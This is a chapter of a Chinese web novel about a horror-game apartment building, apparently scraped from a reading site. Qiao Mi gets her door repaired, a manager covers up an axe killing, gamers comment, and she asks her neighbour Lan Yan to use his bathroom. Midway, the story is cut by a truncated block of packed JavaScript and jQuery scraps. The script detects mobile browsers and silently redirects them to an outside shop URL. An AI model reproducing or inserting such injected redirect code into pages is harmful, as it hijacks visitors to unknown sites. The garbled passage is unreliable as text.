听到瑞和的话后,乔弥有些愣神,机械地抬脚,随后便感受到一只大手隔着湿巾,轻柔擦拭她的鞋底。

    “右脚。”瑞和头也不抬,重新抽出一张湿巾。

    乔弥听话地放下左脚,抬起另一只脚,她觉得有股痒意,顺着脚心一路蔓延到了胸口,很奇怪。

    她扶着墙,低头看瑞和替她擦拭鞋底。他的动作很轻,仿佛擦拭的不是超市打折的特价拖鞋,而是一件珍贵的奢侈品。

    怪不得房租那么贵……

    她认!

    两人相对无言,一个专心擦鞋底,一个思绪已经飞到了九霄云外,没有一个人发现大门口那道纤长的身影。

    “好了。”

    瑞和收起地上的废湿巾,缓缓站起身,视线掠过地上那摊微黄浅褐的污渍:“不要再踩到了,你刚入住,不要沾上脏东西带回家。”

    乔弥站得笔直,连连点头:“知道了,谢谢你,整栋楼就你最善良。”

    她顺口打卡了一下名台词,不怕一万,就怕万一嘛。

    万一就有效……

    “啧。”身后传来一声轻啧。

    乔弥下意识回头,看见蓝砚站在她身后不远处,目光嫌弃地盯着地上的污渍。

    瑞和倒是没反应,他把脏了的湿巾都扔进垃圾桶,不紧不慢地擦拭着手指,脸上依旧挂着万年不变的微笑。

    蓝砚从乔弥身侧走过,扬起的发尾抽在她脸上,不疼,只有一阵浅淡的、熟悉的香味。

    “唉,小心……”

    眼见蓝砚目不斜视地踏上那片污渍,乔弥忍不住出声提醒,没想到蓝砚听见她的声音,走得更快了,两只鞋都结结实实踩了一遍地上的污渍。

    怎么感觉,蓝砚心情不太好?

    乔弥尴尬地挠挠脸,目送蓝砚进电梯,电梯门即将关闭的时候,她看见蓝砚手边露出一抹红……

    等等,红?

    红!

    乔弥一拍脑袋,想起来了——

    她出门采购的时候把小丑送她的红气球系在了大厅外面的长廊上!

    “我说呢,怎么总感觉手里空落落的。”乔弥和电梯里的蓝砚对上视线,对方不知有意无意,松开了手里的气球。

    乔弥心脏一紧,在发现蓝砚早就把细线系在了手指上所以气球飞不远后,又微微放心了。

    电梯门关闭,阻断了乔弥与蓝砚的视线。

    瑞和重新拿起拖把,淡定地拖着蓝砚踩过的脚印,同时不忘安抚乔弥:“已经发过消息了,维修人员马上就到,你在这里等他们就好。”

    乔弥点点头,心里思考着新邻居蓝砚的态度,没再说话。

    维修人员来得很快,两个人抬着一扇新门板,跟乔弥一起上了四楼。她原本以为瑞和会跟着,但对方以“大厅事忙”拒绝了她,她只能靠自己了。

    乔弥乘电梯离开后,瑞和脸上的笑淡了,他放下拖把,拉开身后那扇紧闭的楼道门。

    “地很难拖,还弄脏了人家的鞋,”瑞和嗓音带上一点疲惫,“我认为您应该知道做人的基本准则,俞恕先生。”

    漆黑的楼道里只有瑞和一人的声音,他像是在自言自语,但如果仔细观察,就能看见台阶上还坐着一个扛着斧头的男人,赫然就是砸坏了乔弥大门的那位。

    而他的脚边,横七竖八躺着几个人。

    被称作俞恕的男人站起身,毫不犹豫地踩着脚边人的身体走出楼道,斧头在地面拖出一道红色细线。

    瑞和嘴角依旧翘着,眉心却不耐烦地皱了起来。

    “清洁费,搬运费,还有……”瑞和低头看了一眼,“丧葬费。记得及时转过来。”

    厉恕依旧不言不语,留给瑞和的只有门板晃荡的吱呀声。

    遥远另一端,坐在电脑前的人看着屏幕上弹出的“玩家已死亡”字样,暴躁地摔了鼠标:“大爷的,什么烂游戏,突然来个人就把我砍死了。”

    旁边的同伴打了个哈欠:“恐游嘛,都一样,再开一把试试,下次注意避开拿斧头的,估计是个反社会。”

    “OK,那老样子,先抢银行,拿了钱就办入住,避开斧头男,然后——占领暗想家园。”

    壮汉像是想到什么,又歪嘴笑了:“希望这次还能遇到那个小美女……”

    “拉倒吧,这是恐游,越是看起来人畜无害,手段就越是残忍,反正我不招惹她。”

    “阿嚏!”

    乔弥打了个喷嚏,捂住自己发凉的脖子。

    谁想她了?

    两个维修师傅也差不多装好了门,他们扛着旧门板离开,乔弥笑着把他们送到电梯口,欢欣雀跃。

    她有家啦!

    蹦跶着转过身,乔弥脸上的笑还没来得及收起,就和蓝砚那双漂亮的眼睛对上了视线。

    他把门打开一条缝,站在门缝后扫视乔弥:“你今天很开心吗?”

    乔弥顺势走到蓝砚门前:“对呀,我有自己的房子了,肯定开心呀。以后我们就是邻居了,还请多多关照,嘿嘿。”

    “嗯,不用和我待在一起,确实很值得高兴。”蓝砚倚着门框,抱臂。

    “我不是这个意思,”乔弥两手乱比划,“我的意思是不用给你添麻烦了,这里的房租又不便宜,我怎么可能一直蹭你的房子。”

    蓝砚捂唇,“噗嗤”一声笑了:“知道了,你真可爱,我逗你玩呢。”

    蓝砚的一缕发丝随笑意滑落,半遮半掩住她那张雌雄莫辨的漂亮脸蛋。

    乔弥看向窗外,明明是夜晚,她却觉得天都晴了。

    “整栋楼,就你最美……”她真心夸赞。

    蓝砚收住笑,卷起一点发尾轻扫乔弥的睫毛:“知道了。”

    直到回了家,乔弥还有些晕乎乎的,灌了一杯冰水才想起来,她好像忘了问蓝砚气球的事了。

    虽然一只气球不值得什么,但那毕竟是借她地图的好心小丑给的,被别人拿走的话,总觉得有些对不起小丑。

    可是,她怎么好意思去找蓝砚要气球嘛!

    而相隔不远的另一扇门内,蓝砚坐在沙发上,皱着眉头扔水果刀。

    他姿态闲散,准头却极好,每一刀都避开了被固定在模板中央的红色气球,银白小刀围着气球扎了一圈,半个刀身都没入木板,却没有伤到气球半分。

    她没来敲门。

    她不想要气球。

    这么丑的东西,没有人会要。

    蓝砚手边只剩下最后一把小刀,他瞄准气球中心,眯起一只眼睛,手腕发力——

    “咚咚咚!”

    不太明显的敲门声响起,蓝砚挥刀的方向偏转了一些,小刀扎在木板旁边的墙面上,留下一道深深的刻痕。

    蓝砚单手摘下扎满小刀的木板,随手一扔,然后迈着缓慢的步子开门。

    门外是赔着笑脸的乔弥。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722312|208731||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“那个,蓝砚姐姐,”乔弥满脸堆笑,“可不可以借你的浴室用一下呀?”

    说来也是倒霉。

    乔弥刚才回家冷静过后,强迫自己开始整理行李箱,她把乱七八糟的衣服全倒出来,从里面翻出一套睡衣,却发现她的行李好像少了点什么。

    坐在地上盘点了半天,乔弥才想起来,她昨天盖在身上的那条毛毯丢了。

    她记得自己明明放进了行李箱,却翻来覆去也找不到,只能怀疑起自己的记忆力。

    也许毯子落在蓝砚家了。

    很好,又是一个她不好意思敲门去要的东西。

    乔弥认命地拿起睡衣洗澡,然而祸不单行,她赤条条站在花洒下等了半天,一滴水都没有。

    “啪嗒”,一滴小水珠嘲笑般落在她头上。

    乔弥忍……

    忍不住了!

    这么贵的房租,竟然处处是问题!

    而且她今天打扫了整个房子,现在整个家里只有她自己是脏的,她忍不了!她要洗澡!

    打电话问了瑞和,瑞和那边风声很大,她听不清他的声音,却也能猜到他大概在外面。

    问清楚情况后,瑞和承诺明天就找人来修花洒,随后就温柔地挂断了电话。

    唉,乔弥本来有些生气,可是瑞和态度实在太好,声音又那么好听,她的脾气立马融化了。

    没办法,乔弥最后只能硬着头皮敲开蓝砚的家门。

    虽然有点冒昧,但至少都是女孩子,借用一下浴室应该也不算困难……吧。

    看到蓝砚脸上复杂的表情,乔弥打了退堂鼓。

    蓝砚喜怒无常的,又爱美又洁癖,大概率不会同意把浴室这么私密的空间借给一个才认识两天的人。

    “……打扰了。”乔弥后退半步,低头嗅着自己身上的味道,不算难闻,但也绝对不香。

    蓝砚也探头,鼻尖落在她颈侧,轻轻嗅了嗅:“你在家里滚泥潭了?小乔弥。”

    他说话的时候,气息全部喷洒在乔弥的脖颈,她的汗毛不受控制地竖了起来,心脏也砰砰直跳。

    苍天作证,她真是直女。

    “不是,我一直在打扫卫生,所以沾了不少灰尘,”乔弥不自在地捂住脖子,“但我家的花洒是坏的,我没办法洗澡,所以才……”

    “真可怜。”蓝砚直起身子,居高临下地启唇。

    他用一根手指抵住门板,轻轻一推,然后神情自若地转身向室内走去。

    看着面前被完全打开的大门,乔弥有些犹豫:蓝砚这是让她进去的意思?

    她欲言又止地看向蓝砚的背影,对方柔顺的黑发在身后轻轻晃动,像猫咪慵懒甩动的尾尖。

    乔弥也不客气了:“那我进来喽?”

    蓝砚没说话,抬手指了指一扇紧的门。

    乔弥打开那扇门,里面果真是一间浴室,浴室虽然小,但还是砌了一个精致的浴缸。

    不过,乔弥注意到这间浴室很干燥,看起来不像有人使用的样子。等蓝砚漫不经心地从房间里拿出几瓶洗护用品后,乔弥才恍然大悟——蓝砚平时应该都用主卧里的浴室。

    “谢谢,”乔弥接过瓶瓶罐罐,果真在上面闻到了蓝砚身上的味道,“整栋楼就你……”

    “停,”蓝砚脸上没了笑,“我说过,我不喜欢这种廉价的夸奖。如果你要说的还是刚才在楼下随口说的‘善良’,就收回吧。”